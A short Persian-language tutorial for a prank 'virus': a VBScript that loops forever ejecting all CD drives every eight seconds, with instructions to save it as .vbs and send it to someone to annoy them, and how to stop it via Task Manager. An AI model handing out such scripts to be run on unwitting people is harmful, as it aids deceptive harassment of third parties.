ویروس باز و بسته شدن سی دی

ساخت یک ویروس سرکاری و اعصاب خورد کن دیگر

خوب حالا کد های زیر رو در یک نوت پد کپی کنید :
Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection


do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1


colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 8000

loop

خوب با این ترفند هر 8 ثانیه دیسک خوان شما باز می شود

و اگه می خواید این مدت زمان رو بیشتر یا کمتر کنید

در قسمت

sleep 8000

که در کد ها هست رو می تونید مثلا به دو ثانیه (2000 در کد بزنید بعد از کلمه ی sleep) تغییر بدید

که اینطوری میشه

sleep 2000

باز هم میگم که کپی کنید کد ها رو

و در آخر با فرمت vbs سیو کنید
و می تونید آپلودش کنید و به کسی که می خواید اذیتش کنید بدید
و برای غیر فعال کردن کلید های Ctrl + Alt + Delete
و  رو انتخاب کنید و در پنجره ی باز شده processes رو انتخاب کنید و روی wscript.exe کلیک کنید و بعد هم روی end process و از شما یک سوال می پرسه و شما دوباره روی end process کلیک کنید .